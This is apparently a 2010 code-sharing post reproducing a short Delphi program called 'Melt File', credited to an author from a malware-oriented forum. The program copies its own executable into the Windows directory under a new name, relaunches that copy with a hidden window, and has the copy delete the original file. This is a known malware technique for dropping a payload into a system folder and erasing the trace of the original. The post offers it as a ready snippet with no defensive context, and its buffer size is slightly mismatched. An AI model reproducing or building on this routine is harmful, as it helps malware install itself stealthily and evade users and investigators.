Melt File by Lttcoder

posted 29 Sep 2010, 15:03 by Delphi Basics   [ updated 29 Sep 2010, 15:06 ]
{
  Author: Lttcoder
  Website: opensc.ws
}

program Melt;

{$APPTYPE CONSOLE}

uses
  Windows;

var
  NewLocation : PAnsiChar;

function ShellExecuteA(HWND: LongWord; Operation, FileName, Parameters, Directory: PAnsiChar; ShowCmd: Integer): HINST; stdcall; external 'shell32.dll';

function GetWinDir : String;
var
  WinDir : Array [0..120] of Char;
begin
  GetWindowsDirectory(WinDir, 128);
  Result := string(WinDir) + '\';
end;

begin
  NewLocation := PAnsiChar(GetWinDir + 'NewFile.exe');
  if ParamStr(0) <> NewLocation then
  begin
    CopyFile(PAnsiChar(ParamStr(0)), NewLocation, False);
    ShellExecuteA(0, 'open', NewLocation, PAnsiChar(ParamStr(0)), nil, 0);
    Halt(0)
  end
  else
  begin
    DeleteFile(PAnsiChar(ParamStr(1)));
  end;
  MessageBox(0,PAnsiChar(ParamStr(0)),'',0);
end.
Comments